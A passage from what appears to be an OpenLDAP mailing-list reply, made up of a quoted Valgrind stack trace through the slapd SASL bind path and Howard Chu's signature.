0x4B9B2D4: sasl_seterror (seterror.c:187) > ==11019== by 0x4B9A18D: sasl_server_start (server.c:1418) > ==11019== by 0x26B88B: slap_sasl_bind (sasl.c:1666) > ==11019== by 0x21E130: fe_op_bind (bind.c:279) > ==11019== by 0x21DCE1: do_bind (bind.c:205) > ==11019== by 0x1F35BA: connection_operation (connection.c:1185) > ==11019== by 0x1F3CE7: connection_read_thread (connection.c:1342) > ==11019== by 0x35DFF9: ldap_int_thread_pool_wrapper (tpool.c:1048) > ==11019== by 0x4DBE668: start_thread (pthread_create.c:479) > > > > -- -- Howard Chu CTO, Symas Corp. http://www.symas.com Director, Highland Sun http://highlandsun.com/hyc/ Chief Architect, OpenLDAP http://www.openldap.org/project/

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